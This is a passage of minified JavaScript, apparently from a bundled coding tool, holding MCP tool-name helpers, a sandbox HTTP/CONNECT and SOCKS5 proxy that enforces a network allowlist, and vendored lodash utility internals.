$D(this)}};pR.Completions=Ii;pR.Messages=aN;pR.Models=wJA;pR.Beta=$D});var sN=k(()=>{LF();lp1();PA1();LF();yb();rj()});function w3(A){let K=A.replace(/[^a-zA-Z0-9_-]/g,"_");if(A.startsWith("claude.ai "))K=K.replace(/_+/g,"_").replace(/^_|_$/g,"");return K}function A_(A){let K=A.split("__"),[q,Y,...z]=K;if(q!=="mcp"||!Y)return null;let w=z.length>0?z.join("__"):void 0;return{serverName:Y,toolName:w}}function HJA(A){return`mcp__${w3(A)}__`}function UA1(A,K){let q=`mcp__${w3(K)}__`;return A.replace(q,"")}function pA1(A){let K=A.replace(/\s*\(MCP\)\s*$/,"");K=K.trim();let q=K.indexOf(" - ");if(q!==-1)return K.substring(q+3).trim();return K}var tN=()=>{};var G7="Bash";function T8(A,K){if(!process.env.SRT_DEBUG)return;let q=K?.level||"info",Y="[SandboxDebug]";switch(q){case"error":console.error(`${Y} ${A}`);break;case"warn":console.warn(`${Y} ${A}`);break;default:console.error(`${Y} ${A}`)}}import{Agent as u35,createServer as B35}from"node:http";import{request as uy8}from"node:http";import{request as m35}from"node:https";import{connect as By8}from"node:net";import{URL as g35}from"node:url";function my8(A){let K=B35();return K.on("connect",async(q,Y)=>{Y.on("error",(z)=>{T8(`Client socket error: ${z.message}`,{level:"error"})});try{let[z,w]=q.url.split(":"),H=w===void 0?void 0:parseInt(w,10);if(!z||!H){T8(`Invalid CONNECT request: ${q.url}`,{level:"error"}),Y.end(`HTTP/1.1 400 Bad Request\r \r `);return}if(!await A.filter(H,z,Y)){T8(`Connection blocked to ${z}:${H}`,{level:"error"}),Y.end(`HTTP/1.1 403 Forbidden\r Content-Type: text/plain\r X-Proxy-Error: blocked-by-allowlist\r \r Connection blocked by network allowlist`);return}let O=A.getMitmSocketPath?.(z);if(O){T8(`Routing CONNECT ${z}:${H} through MITM proxy at ${O}`);let X=By8({path:O},()=>{X.write(`CONNECT ${z}:${H} HTTP/1.1\r Host: ${z}:${H}\r \r `)}),$="",_=(G)=>{$+=G.toString();let Z=$.indexOf(`\r \r `);if(Z!==-1){X.removeListener("data",_);let W=$.substring(0,$.indexOf(`\r `));if(W.includes(" 200 ")){Y.write(`HTTP/1.1 200 Connection Established\r \r `);let D=$.substring(Z+4);if(D.length>0)Y.write(D);X.pipe(Y),Y.pipe(X)}else T8(`MITM proxy rejected CONNECT: ${W}`,{level:"error"}),Y.end(`HTTP/1.1 502 Bad Gateway\r \r `),X.destroy()}};X.on("data",_),X.on("error",(G)=>{T8(`MITM proxy connection failed: ${G.message}`,{level:"error"}),Y.end(`HTTP/1.1 502 Bad Gateway\r \r `)}),Y.on("error",(G)=>{T8(`Client socket error: ${G.message}`,{level:"error"}),X.destroy()}),Y.on("end",()=>X.end()),X.on("end",()=>Y.end())}else{let X=By8(H,z,()=>{Y.write(`HTTP/1.1 200 Connection Established\r \r `),X.pipe(Y),Y.pipe(X)});X.on("error",($)=>{T8(`CONNECT tunnel failed: ${$.message}`,{level:"error"}),Y.end(`HTTP/1.1 502 Bad Gateway\r \r `)}),Y.on("error",($)=>{T8(`Client socket error: ${$.message}`,{level:"error"}),X.destroy()}),Y.on("end",()=>X.end()),X.on("end",()=>Y.end())}}catch(z){T8(`Error handling CONNECT: ${z}`,{level:"error"}),Y.end(`HTTP/1.1 500 Internal Server Error\r \r `)}}),K.on("request",async(q,Y)=>{try{let z=new g35(q.url),w=z.hostname,H=z.port?parseInt(z.port,10):z.protocol==="https:"?443:80;if(!await A.filter(H,w,q.socket)){T8(`HTTP request blocked to ${w}:${H}`,{level:"error"}),Y.writeHead(403,{"Content-Type":"text/plain","X-Proxy-Error":"blocked-by-allowlist"}),Y.end("Connection blocked by network allowlist");return}let O=A.getMitmSocketPath?.(w);if(O){T8(`Routing HTTP ${q.method} ${w}:${H} through MITM proxy at ${O}`);let X=new u35({socketPath:O}),$=uy8({agent:X,path:q.url,method:q.method,headers:{...q.headers,host:z.host}},(_)=>{Y.writeHead(_.statusCode,_.headers),_.pipe(Y)});$.on("error",(_)=>{if(T8(`MITM proxy request failed: ${_.message}`,{level:"error"}),!Y.headersSent)Y.writeHead(502,{"Content-Type":"text/plain"}),Y.end("Bad Gateway")}),q.pipe($)}else{let $=(z.protocol==="https:"?m35:uy8)({hostname:w,port:H,path:z.pathname+z.search,method:q.method,headers:{...q.headers,host:z.host}},(_)=>{Y.writeHead(_.statusCode,_.headers),_.pipe(Y)});$.on("error",(_)=>{if(T8(`Proxy request failed: ${_.message}`,{level:"error"}),!Y.headersSent)Y.writeHead(502,{"Content-Type":"text/plain"}),Y.end("Bad Gateway")}),q.pipe($)}}catch(z){T8(`Error handling HTTP request: ${z}`,{level:"error"}),Y.writeHead(500,{"Content-Type":"text/plain"}),Y.end("Internal Server Error")}}),K}var gy8=()=>{};var ly8=v((vpz,cy8)=>{var{create:F35,defineProperty:dA1,getOwnPropertyDescriptor:Q35,getOwnPropertyNames:U35,getPrototypeOf:p35}=Object,d35=Object.prototype.hasOwnProperty,c35=(A,K)=>{for(var q in K)dA1(A,q,{get:K[q],enumerable:!0})},Fy8=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of U35(K))if(!d35.call(A,z)&&z!==q)dA1(A,z,{get:()=>K[z],enumerable:!(Y=Q35(K,z))||Y.enumerable})}return A},Qy8=(A,K,q)=>(q=A!=null?F35(p35(A)):{},Fy8(K||!A||!A.__esModule?dA1(q,"default",{value:A,enumerable:!0}):q,A)),l35=(A)=>Fy8(dA1({},"__esModule",{value:!0}),A),Uy8={};c35(Uy8,{Socks5Server:()=>dy8,createServer:()=>o35,defaultConnectionHandler:()=>vd1});cy8.exports=l35(Uy8);var i35=Qy8(CA("net")),py8=((A)=>{return A[A.connect=1]="connect",A[A.bind=2]="bind",A[A.udp=3]="udp",A})(py8||{}),Td1=((A)=>{return A[A.REQUEST_GRANTED=0]="REQUEST_GRANTED",A[A.GENERAL_FAILURE=1]="GENERAL_FAILURE",A[A.CONNECTION_NOT_ALLOWED=2]="CONNECTION_NOT_ALLOWED",A[A.NETWORK_UNREACHABLE=3]="NETWORK_UNREACHABLE",A[A.HOST_UNREACHABLE=4]="HOST_UNREACHABLE",A[A.CONNECTION_REFUSED=5]="CONNECTION_REFUSED",A[A.TTL_EXPIRED=6]="TTL_EXPIRED",A[A.COMMAND_NOT_SUPPORTED=7]="COMMAND_NOT_SUPPORTED",A[A.ADDRESS_TYPE_NOT_SUPPORTED=8]="ADDRESS_TYPE_NOT_SUPPORTED",A})(Td1||{}),n35=class{constructor(A,K){this.errorHandler=()=>{},this.metadata={},this.socket=K,this.server=A,K.on("error",this.errorHandler),K.pause(),this.handleGreeting()}readBytes(A){return new Promise((K)=>{let q=Buffer.allocUnsafe(A),Y=0,z=(w)=>{let H=Math.min(w.length,A-Y);if(w.copy(q,Y,0,H),Y+=H,Y<A)return;this.socket.removeListener("data",z),this.socket.push(w.subarray(H)),K(q),this.socket.pause()};this.socket.on("data",z),this.socket.resume()})}async handleGreeting(){if((await this.readBytes(1)).readUInt8()!==5)return this.socket.destroy();let K=(await this.readBytes(1)).readUInt8();if(K>128||K===0)return this.socket.destroy();let q=await this.readBytes(K),Y=this.server.authHandler?2:0;if(!q.includes(Y))return this.socket.write(Buffer.from([5,255])),this.socket.destroy();if(this.socket.write(Buffer.from([5,Y])),this.server.authHandler)this.handleUserPassword();else this.handleConnectionRequest()}async handleUserPassword(){await this.readBytes(1);let A=(await this.readBytes(1)).readUint8(),K=(await this.readBytes(A)).toString(),q=(await this.readBytes(1)).readUint8(),Y=(await this.readBytes(q)).toString();this.username=K,this.password=Y;let z=!1,w=()=>{if(z)return;z=!0,this.socket.write(Buffer.from([1,0])),this.handleConnectionRequest()},H=()=>{if(z)return;z=!0,this.socket.write(Buffer.from([1,1])),this.socket.destroy()},J=await this.server.authHandler(this,w,H);if(J===!0)w();else if(J===!1)H()}async handleConnectionRequest(){await this.readBytes(1);let A=(await this.readBytes(1))[0],K=py8[A];if(!K)return this.socket.destroy();this.command=K,await this.readBytes(1);let q=(await this.readBytes(1)).readUInt8(),Y="";switch(q){case 1:Y=(await this.readBytes(4)).join(".");break;case 3:let X=(await this.readBytes(1)).readUInt8();Y=(await this.readBytes(X)).toString();break;case 4:let $=await this.readBytes(16);for(let _=0;_<16;_++){if(_%2===0&&_>0)Y+=":";Y+=`${$[_]<16?"0":""}${$[_].toString(16)}`}break;default:this.socket.destroy();return}let z=(await this.readBytes(2)).readUInt16BE();if(!this.server.supportedCommands.has(K))return this.socket.write(Buffer.from([5,7])),this.socket.destroy();this.destAddress=Y,this.destPort=z;let w=!1,H=()=>{if(w)return;w=!0,this.connect()};if(!this.server.rulesetValidator)return H();let J=()=>{if(w)return;w=!0,this.socket.write(Buffer.from([5,2,0,1,0,0,0,0,0,0])),this.socket.destroy()},O=await this.server.rulesetValidator(this,H,J);if(O===!0)H();else if(O===!1)J()}connect(){this.socket.removeListener("error",this.errorHandler),this.server.connectionHandler(this,(A)=>{if(Td1[A]===void 0)throw Error(`"${A}" is not a valid status.`);if(this.socket.write(Buffer.from([5,Td1[A],0,1,0,0,0,0,0,0])),A!=="REQUEST_GRANTED")this.socket.destroy()}),this.socket.resume()}},r35=Qy8(CA("net"));function vd1(A,K){if(A.command!=="connect")return K("COMMAND_NOT_SUPPORTED");A.socket.on("error",()=>{});let q=r35.default.createConnection({host:A.destAddress,port:A.destPort});q.setNoDelay();let Y=!1;return q.on("error",(z)=>{if(!Y)switch(z.code){case"EINVAL":case"ENOENT":case"ENOTFOUND":case"ETIMEDOUT":case"EADDRNOTAVAIL":case"EHOSTUNREACH":K("HOST_UNREACHABLE");break;case"ENETUNREACH":K("NETWORK_UNREACHABLE");break;case"ECONNREFUSED":K("CONNECTION_REFUSED");break;default:K("GENERAL_FAILURE")}}),q.on("ready",()=>{Y=!0,K("REQUEST_GRANTED"),A.socket.pipe(q).pipe(A.socket)}),A.socket.on("close",()=>q.destroy()),q}var dy8=class{constructor(){this.supportedCommands=new Set(["connect"]),this.connectionHandler=vd1,this.server=i35.default.createServer((A)=>{A.setNoDelay(),this._handleConnection(A)})}listen(...A){return this.server.listen(...A),this}close(A){return this.server.close(A),this}setAuthHandler(A){return this.authHandler=A,this}disableAuthHandler(){return this.authHandler=void 0,this}setRulesetValidator(A){return this.rulesetValidator=A,this}disableRulesetValidator(){return this.rulesetValidator=void 0,this}setConnectionHandler(A){return this.connectionHandler=A,this}useDefaultConnectionHandler(){return this.connectionHandler=vd1,this}_handleConnection(A){return new n35(this,A),this}};function o35(A){let K=new dy8;if(A?.auth)K.setAuthHandler((q)=>{return q.username===A.auth.username&&q.password===A.auth.password});if(A?.port)K.listen(A.port,A.hostname);return K}});function ny8(A){let K=iy8.createServer();return K.setRulesetValidator(async(q)=>{try{let{destAddress:Y,destPort:z}=q;if(T8(`Connection request to ${Y}:${z}`),!await A.filter(z,Y))return T8(`Connection blocked to ${Y}:${z}`,{level:"error"}),!1;return T8(`Connection allowed to ${Y}:${z}`),!0}catch(Y){return T8(`Error validating connection: ${Y}`,{level:"error"}),!1}}),{server:K,getPort(){try{let q=K?.server;if(q&&typeof q?.address==="function"){let Y=q.address();if(Y&&typeof Y==="object"&&"port"in Y)return Y.port}}catch(q){T8(`Error getting port: ${q}`,{level:"error"})}return},listen(q,Y){return new Promise((z,w)=>{let H=()=>{let J=this.getPort();if(J)T8(`SOCKS proxy listening on ${Y}:${J}`),z(J);else w(Error("Failed to get SOCKS proxy server port"))};K.listen(q,Y,H)})},async close(){return new Promise((q,Y)=>{K.close((z)=>{if(z){let w=z.message?.toLowerCase()||"";if(!(w.includes("not running")||w.includes("already closed")||w.includes("not listening"))){Y(z);return}}q()})})},unref(){try{let q=K?.server;if(q&&typeof q?.unref==="function")q.unref()}catch(q){T8(`Error calling unref: ${q}`,{level:"error"})}}}}var iy8;var ry8=k(()=>{iy8=o(ly8(),1)});var a35,cA1;var Ed1=k(()=>{a35=typeof global=="object"&&global&&global.Object===Object&&global,cA1=a35});var s35,t35,pX;var dR=k(()=>{Ed1();s35=typeof self=="object"&&self&&self.Object===Object&&self,t35=cA1||s35||Function("return this")(),pX=t35});var e35,RF;var lA1=k(()=>{dR();e35=pX.Symbol,RF=e35});function q95(A){var K=A95.call(A,RkA),q=A[RkA];try{A[RkA]=void 0;var Y=!0}catch(w){}var z=K95.call(A);if(Y)if(K)A[RkA]=q;else delete A[RkA];return z}var oy8,A95,K95,RkA,ay8;var sy8=k(()=>{lA1();oy8=Object.prototype,A95=oy8.hasOwnProperty,K95=oy8.toString,RkA=RF?RF.toStringTag:void 0;ay8=q95});function w95(A){return z95.call(A)}var Y95,z95,ty8;var ey8=k(()=>{Y95=Object.prototype,z95=Y95.toString;ty8=w95});function O95(A){if(A==null)return A===void 0?J95:H95;return AI8&&AI8 in Object(A)?ay8(A):ty8(A)}var H95="[object Null]",J95="[object Undefined]",AI8,yF;var ykA=k(()=>{lA1();sy8();ey8();AI8=RF?RF.toStringTag:void 0;yF=O95});function X95(A){return A!=null&&typeof A=="object"}var Ib;var JJA=k(()=>{Ib=X95});var $95,OJA;var iA1=k(()=>{$95=Array.isArray,OJA=$95});function _95(A){var K=typeof A;return A!=null&&(K=="object"||K=="function")}var Sb;var XJA=k(()=>{Sb=_95});function j95(A){if(!Sb(A))return!1;var K=yF(A);return K==Z95||K==W95||K==G95||K==D95}var G95="[object AsyncFunction]",Z95="[object Function]",W95="[object GeneratorFunction]",D95="[object Proxy]",nA1;var kd1=k(()=>{ykA();XJA();nA1=j95});var M95,rA1;var KI8=k(()=>{dR();M95=pX["__core-js_shared__"],rA1=M95});function P95(A){return!!qI8&&qI8 in A}var qI8,YI8;var zI8=k(()=>{KI8();qI8=function(){var A=/[^.]+$/.exec(rA1&&rA1.keys&&rA1.keys.IE_PROTO||"");return A?"Symbol(src)_1."+A:""}();YI8=P95});function N95(A){if(A!=null){try{return f95.call(A)}catch(K){}try{return A+""}catch(K){}}return""}var V95,f95,IF;var Cd1=k(()=>{V95=Function.prototype,f95=V95.toString;IF=N95});function y95(A){if(!Sb(A)||YI8(A))return!1;var K=nA1(A)?R95:v95;return K.test(IF(A))}var T95,v95,E95,k95,C95,L95,R95,wI8;var HI8=k(()=>{kd1();zI8();XJA();Cd1();T95=/[\\^$.*+?()[\]{}|]/g,v95=/^\[object .+?Constructor\]$/,E95=Function.prototype,k95=Object.prototype,C95=E95.toString,L95=k95.hasOwnProperty,R95=RegExp("^"+C95.call(L95).replace(T95,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");wI8=y95});function I95(A,K){return A==null?void 0:A[K]}var JI8;var OI8=k(()=>{JI8=I95});function S95(A,K){var q=JI8(A,K);return wI8(q)?q:void 0}var WV;var hi=k(()=>{HI8();OI8();WV=S95});var h95,oA1;var XI8=k(()=>{hi();dR();h95=WV(pX,"WeakMap"),oA1=h95});var $I8,b95,_I8;var GI8=k(()=>{XJA();$I8=Object.create,b95=function(){function A(){}return function(K){if(!Sb(K))return{};if($I8)return $I8(K);A.prototype=K;var q=new A;return A.prototype=void 0,q}}(),_I8=b95});function x95(A,K){var q=-1,Y=A.length;K||(K=Array(Y));while(++q<Y)K[q]=A[q];return K}var ZI8;var WI8=k(()=>{ZI8=x95});var u95,Ld1;var DI8=k(()=>{hi();u95=function(){try{var A=WV(Object,"defineProperty");return A({},"",{}),A}catch(K){}}(),Ld1=u95});function B95(A,K){var q=-1,Y=A==null?0:A.length;while(++q<Y)if(K(A[q],q,A)===!1)break;return A}var jI8;var MI8=k(()=>{jI8=B95});function F95(A,K){var q=typeof A;return K=K==null?m95:K,!!K&&(q=="number"||q!="symbol"&&g95.test(A))&&(A>-1&&A%1==0&&A<K)}var m95=9007199254740991,g95,PI8;var VI8=k(()=>{g95=/^(?:0|[1-9]\d*)$/;PI8=F95});function Q95(A,K,q){if(K=="__proto__"&&Ld1)Ld1(A,K,{configurable:!0,enumerable:!0,value:q,writable:!0});else A[K]=q}var aA1;var Rd1=k(()=>{DI8();aA1=Q95});function U95(A,K){return A===K||A!==A&&K!==K}var sA1;var yd1=k(()=>{sA1=U95});function c95(A,K,q){var Y=A[K];if(!(d95.call(A,K)&&sA1(Y,q))||q===void 0&&!(K in A))aA1(A,K,q)}var p95,d95,tA1;var Id1=k(()=>{Rd1();yd1();p95=Object.prototype,d95=p95.hasOwnProperty;tA1=c95});function l95(A,K,q,Y){var z=!q;q||(q={});var w=-1,H=K.length;while(++w<H){var J=K[w],O=Y?Y(q[J],A[J],J,q,A):void 0;if(O===void 0)O=A[J];if(z)aA1(q,J,O);else tA1(q,J,O)}return q}var bi;var IkA=k(()=>{Id1();Rd1();bi=l95});function n95(A){return typeof A=="number"&&A>-1&&A%1==0&&A<=i95}var i95=9007199254740991,eA1;var Sd1=k(()=>{eA1=n95});function r95(A){return A!=null&&eA1(A.length)&&!nA1(A)}var A11;var hd1=k(()=>{kd1();Sd1();A11=r95});function a95(A){var K=A&&A.constructor,q=typeof K=="function"&&K.prototype||o95;return A===q}var o95,$JA;var K11=k(()=>{o95=Object.prototype;$JA=a95});function s95(A,K){var q=-1,Y=Array(A);while(++q<A)Y[q]=K(q);return Y}var fI8;var NI8=k(()=>{fI8=s95});function e95(A){return Ib(A)&&yF(A)==t95}var t95="[object Arguments]",bd1;var TI8=k(()=>{ykA();JJA();bd1=e95});var vI8,AY5,KY5,qY5,EI8;var kI8=k(()=>{TI8();JJA();vI8=Object.prototype,AY5=vI8.hasOwnProperty,KY5=vI8.propertyIsEnumerable,qY5=bd1(function(){return arguments}())?bd1:function(A){return Ib(A)&&AY5.call(A,"callee")&&!KY5.call(A,"callee")},EI8=qY5});function YY5(){return!1}var CI8;var LI8=k(()=>{CI8=YY5});var Y11={};_q(Y11,{default:()=>SkA});var II8,RI8,zY5,yI8,wY5,HY5,SkA;var xd1=k(()=>{dR();LI8();II8=typeof Y11=="object"&&Y11&&!Y11.nodeType&&Y11,RI8=II8&&typeof q11=="object"&&q11&&!q11.nodeType&&q11,zY5=RI8&&RI8.exports===II8,yI8=zY5?pX.Buffer:void 0,wY5=yI8?yI8.isBuffer:void 0,HY5=wY5||CI8,SkA=HY5});function SY5(A){return Ib(A)&&eA1(A.length)&&!!RH[yF(A)]}var JY5="[object Arguments]",OY5="[object Array]",XY5="[object Boolean]",$Y5="[object Date]",_Y5="[object Error]",GY5="[object Function]",ZY5="[object Map]",WY5="[object Number]",DY5="[object Object]",jY5="[object RegExp]",MY5="[object Set]",PY5="[object String]",VY5="[object WeakMap]",fY5="[object ArrayBuffer]",NY5="[object DataView]",TY5="[object Float32Array]",vY5="[object Float64Array]",EY5="[object Int8Array]",kY5="[object Int16Array]",CY5="[object Int32Array]",LY5="[object Uint8Array]",RY5="[object Uint8ClampedArray]",yY5="[object Uint16Array]",IY5="[object Uint32Array]",RH,SI8;var hI8=k(()=>{ykA();Sd1();JJA();RH={};RH[TY5]=RH[vY5]=RH[EY5]=RH[kY5]=RH[CY5]=RH[LY5]=RH[RY5]=RH[yY5]=RH[IY5]=!0;RH[JY5]=RH[OY5]=RH[fY5]=RH[XY5]=RH[NY5]=RH[$Y5]=RH[_Y5]=RH[GY5]=RH[ZY5]=RH[WY5]=RH[DY5]=RH[jY5]=RH[MY5]=RH[PY5]=RH[VY5]=!1;SI8=SY5});function hY5(A){return function(K){return A(K)}}var _JA;var z11=k(()=>{_JA=hY5});var H11={};_q(H11,{default:()=>hb});var bI8,hkA,bY5,ud1,xY5,hb;var J11=k(()=>{Ed1();bI8=typeof H11=="object"&&H11&&!H11.nodeType&&H11,hkA=bI8&&typeof w11=="object"&&w11&&!w11.nodeType&&w11,bY5=hkA&&hkA.exports===bI8,ud1=bY5&&cA1.process,xY5=function(){try{var A=hkA&&hkA.require&&hkA.require("util").types;if(A)return A;return ud1&&ud1.binding&&ud1.binding("util")}catch(K){}}(),hb=xY5});var xI8,uY5,uI8;var BI8=k(()=>{hI8();z11();J11();xI8=hb&&hb.isTypedArray,uY5=xI8?_JA(xI8):SI8,uI8=uY5});function gY5(A,K){var q=OJA(A),Y=!q&&EI8(A),z=!q&&!Y&&SkA(A),w=!q&&!Y&&!z&&uI8(A),H=q||Y||z||w,J=H?fI8(A.length,String):[],O=J.length;for(var X in A)if((K||mY5.call(A,X))&&!(H&&(X=="length"||z&&(X=="offset"||X=="parent")||w&&(X=="buffer"||X=="byteLength"||X=="byteOffset")||PI8(X,O))))J.push(X);return J}var BY5,mY5,O11;var Bd1=k(()=>{NI8();kI8();iA1();xd1();VI8();BI8();BY5=Object.prototype,mY5=BY5.hasOwnProperty;O11=gY5});function FY5(A,K){return function(q){return A(K(q))}}var X11;var md1=k(()=>{X11=FY5});var QY5,mI8;var gI8=k(()=>{md1();QY5=X11(Object.keys,Object),mI8=QY5});function dY5(A){if(!$JA(A))return mI8(A);var K=[];for(var q in Object(A))if(pY5.call(A,q)&&q!="constructor")K.push(q);return K}var UY5,pY5,FI8;var QI8=k(()=>{K11();gI8();UY5=Object.prototype,pY5=UY5.hasOwnProperty;FI8=dY5});function cY5(A){return A11(A)?O11(A):FI8(A)}var GJA;var $11=k(()=>{Bd1();QI8();hd1();GJA=cY5});function lY5(A){var K=[];if(A!=null)for(var q in Object(A))K.push(q);return K}var UI8;var pI8=k(()=>{UI8=lY5});function rY5(A){if(!Sb(A))return UI8(A);var K=$JA(A),q=[];for(var Y in A)if(!(Y=="constructor"&&(K||!nY5.call(A,Y))))q.push(Y);return q}var iY5,nY5,dI8;var cI8=k(()=>{XJA();K11();pI8();iY5=Object.prototype,nY5=iY5.hasOwnProperty;dI8=rY5});function oY5(A){return A11(A)?O11(A,!0):dI8(A)}var ZJA;var _11=k(()=>{Bd1();cI8();hd1();ZJA=oY5});var aY5,SF;var bkA=k(()=>{hi();aY5=WV(Object,"create"),SF=aY5});function sY5(){this.__data__=SF?SF(null):{},this.size=0}var lI8;var iI8=k(()=>{bkA();lI8=sY5});function tY5(A){var K=this.has(A)&&delete this.__data__[A];return this.size-=K?1:0,K}var nI8;var rI8=k(()=>{nI8=tY5});function q25(A){var K=this.__data__;if(SF){var q=K[A];return q===eY5?void 0:q}return K25.call(K,A)?K[A]:void 0}var eY5="__lodash_hash_undefined__",A25,K25,oI8;var aI8=k(()=>{bkA();A25=Object.prototype,K25=A25.hasOwnProperty;oI8=q25});function w25(A){var K=this.__data__;return SF?K[A]!==void 0:z25.call(K,A)}var Y25,z25,sI8;var tI8=k(()=>{bkA();Y25=Object.prototype,z25=Y25.hasOwnProperty;sI8=w25});function J25(A,K){var q=this.__data__;return this.size+=this.has(A)?0:1,q[A]=SF&&K===void 0?H25:K,this}var H25="__lodash_hash_undefined__",eI8;var AS8=k(()=>{bkA();eI8=J25});function WJA(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var gd1;var KS8=k(()=>{iI8();rI8();aI8();tI8();AS8();WJA.prototype.clear=lI8;WJA.prototype.delete=nI8;WJA.prototype.get=oI8;WJA.prototype.has=sI8;WJA.prototype.set=eI8;gd1=WJA});function O25(){this.__data__=[],this.size=0}var qS8;var YS8=k(()=>{qS8=O25});function X25(A,K){var q=A.length;while(q--)if(sA1(A[q][0],K))return q;return-1}var xi;var xkA=k(()=>{yd1();xi=X25});function G25(A){var K=this.__data__,q=xi(K,A);if(q<0)return!1;var Y=K.length-1;if(q==Y)K.pop();else _25.call(K,q,1);return--this.size,!0}var $25,_25,zS8;var wS8=k(()=>{xkA();$25=Array.prototype,_25=$25.splice;zS8=G25});function Z25(A){var K=this.__data__,q=xi(K,A);return q<0?void 0:K[q][1]}var HS8;var JS8=k(()=>{xkA();HS8=Z25});function W25(A){return xi(this.__data__,A)>-1}var OS8;var XS8=k(()=>{xkA();OS8=W25});function D25(A,K){var q=this.__data__,Y=xi(q,A);if(Y<0)++this.size,q.push([A,K]);else q[Y][1]=K;return this}var $S8;var _S8=k(()=>{xkA();$S8=D25});function DJA(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var ui;var ukA=k(()=>{YS8();wS8();JS8();XS8();_S8();DJA.prototype.clear=qS8;DJA.prototype.delete=zS8;DJA.prototype.get=HS8;DJA.prototype.has=OS8;DJA.prototype.set=$S8;ui=DJA});var j25,Bi;var G11=k(()=>{hi();dR();j25=WV(pX,"Map"),Bi=j25});function M25(){this.size=0,this.__data__={hash:new gd1,map:new(Bi||ui),string:new gd1}}var GS8;var ZS8=k(()=>{KS8();ukA();G11();GS8=M25});function P25(A){var K=typeof A;return K=="string"||K=="number"||K=="symbol"||K=="boolean"?A!=="__proto__":A===null}var WS8;var DS8=k(()=>{WS8=P25});function V25(A,K){var q=A.__data__;return WS8(K)?q[typeof K=="string"?"string":"hash"]:q.map}var mi;var BkA=k(()=>{DS8();mi=V25});function f25(A){var K=mi(this,A).delete(A);return this.size-=K?1:0,K}var jS8;var MS8=k(()=>{BkA();jS8=f25});function N25(A){return mi(this,A).get(A)}var PS8;var VS8=k(()=>{BkA();PS8=N25});function T25(A){return mi(this,A).has(A)}var fS8;var NS8=k(()=>{BkA();fS8=T25});function v25(A,K){var q=mi(this,A),Y=q.size;return q.set(A,K),this.size+=q.size==Y?0:1,this}var TS8;var vS8=k(()=>{BkA();TS8=v25});function jJA(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var ES8;var kS8=k(()=>{ZS8();MS8();VS8();NS8();vS8();jJA.prototype.clear=GS8;jJA.prototype.delete=jS8;jJA.prototype.get=PS8;jJA.prototype.has=fS8;jJA.prototype.set=TS8;ES8=jJA});function E25(A,K){var q=-1,Y=K.length,z=A.length;while(++q<Y)A[z+q]=K[q];return A}var Z11;var Fd1=k(()=>{Z11=E25});var k25,W11;var Qd1=k(()=>{md1();k25=X11(Object.getPrototypeOf,Object),W11=k25});function C25(){this.__data__=new ui,this.size=0}var CS8;var LS8=k(()=>{ukA();CS8=C25});function L25(A){var K=this.__data__,q=K.delete(A);return this.size=K.size,q}var RS8;var yS8=k(()=>{RS8=L25});function R25(A){return this.__data__.get(A)}var IS8;var SS8=k(()=>{IS8=R25});function y25(A){return this.__data__.has(A)}var hS8;var bS8=k(()=>{hS8=y25});function S25(A,K){var q=this.__data__;if(q instanceof ui){var Y=q.__data__;if(!Bi||Y.length<I25-1)return Y.push([A,K]),this.size=++q.size,this;q=this.__data__=new ES8(Y)}return q.set(A,K),this.size=q.size,this}var I25=200,xS8;var uS8=k(()=>{ukA();G11();kS8();xS8=S25});function MJA(A){var K=this.__data__=new ui(A);this.size=K.size}var BS8;var mS8=k(()=>{ukA();LS8();yS8();SS8();bS8();uS8();MJA.prototype.clear=CS8;MJA.prototype.delete=RS8;MJA.prototype.get=IS8;MJA.prototype.has=hS8;MJA.prototype.set=xS8;BS8=MJA});function h25(A,K){return A&&bi(K,GJA(K),A)}var gS8;var FS8=k(()=>{IkA();$11();gS8=h25});function b25(A,K){return A&&bi(K,ZJA(K),A)}var QS8;var US8=k(()=>{IkA();_11();QS8=b25});var j11={};_q(j11,{default:()=>Ud1});function u25(A,K){if(K)return A.slice();var q=A.length,Y=cS8?cS8(q):new A.constructor(q);return A.copy(Y),Y}var lS8,pS8,x25,dS8,cS8,Ud1;var iS8=k(()=>{dR();lS8=typeof j11=="object"&&j11&&!j11.nodeType&&j11,pS8=lS8&&typeof D11=="object"&&D11&&!D11.nodeType&&D11,x25=pS8&&pS8.exports===lS8,dS8=x25?pX.Buffer:void 0,cS8=dS8?dS8.allocUnsafe:void 0;Ud1=u25});function B25(A,K){var q=-1,Y=A==null?0:A.length,z=0,w=[];while(++q<Y){var H=A[q];if(K(H,q,A))w[z++]=H}return w}var nS8;var rS8=k(()=>{nS8=B25});function m25(){return[]}var M11;var pd1=k(()=>{M11=m25});var g25,F25,oS8,Q25,PJA;var P11=k(()=>{rS8();pd1();g25=Object.prototype,F25=g25.propertyIsEnumerable,oS8=Object.getOwnPropertySymbols,Q25=!oS8?M11:function(A){if(A==null)return[];return A=Object(A),nS8(oS8(A),function(K){return F25.call(A,K)})},PJA=Q25});function U25(A,K){return bi(A,PJA(A),K)}var aS8;var sS8=k(()=>{IkA();P11();aS8=U25});var p25,d25,V11;var dd1=k(()=>{Fd1();Qd1();P11();pd1();p25=Object.getOwnPropertySymbols,d25=!p25?M11:function(A){var K=[];while(A)Z11(K,PJA(A)),A=W11(A);return K},V11=d25});function c25(A,K){return bi(A,V11(A),K)}var tS8;var eS8=k(()=>{IkA();dd1();tS8=c25});function l25(A,K,q){var Y=K(A);return OJA(A)?Y:Z11(Y,q(A))}var f11;var cd1=k(()=>{Fd1();iA1();f11=l25});function i25(A){return f11(A,GJA,PJA)}var Ah8;var Kh8=k(()=>{cd1();P11();$11();Ah8=i25});function n25(A){return f11(A,ZJA,V11)}var qh8;var Yh8=k(()=>{cd1();dd1();_11();qh8=n25});var r25,N11;var zh8=k(()=>{hi();dR();r25=WV(pX,"DataView"),N11=r25});var o25,T11;var wh8=k(()=>{hi();dR();o25=WV(pX,"Promise"),T11=o25});var a25,v11;var Hh8=k(()=>{hi();dR();a25=WV(pX,"Set"),v11=a25});var Jh8="[object Map]",s25="[object Object]",Oh8="[object Promise]",Xh8="[object Set]",$h8="[object WeakMap]",_h8="[object DataView]",t25,e25,Az5,Kz5,qz5,h6A,VJA;var E11=k(()=>{zh8();G11();wh8();Hh8();XI8();ykA();Cd1();t25=IF(N11),e25=IF(Bi),Az5=IF(T11),Kz5=IF(v11),qz5=IF(oA1),h6A=yF;if(N11&&h6A(new N11(new 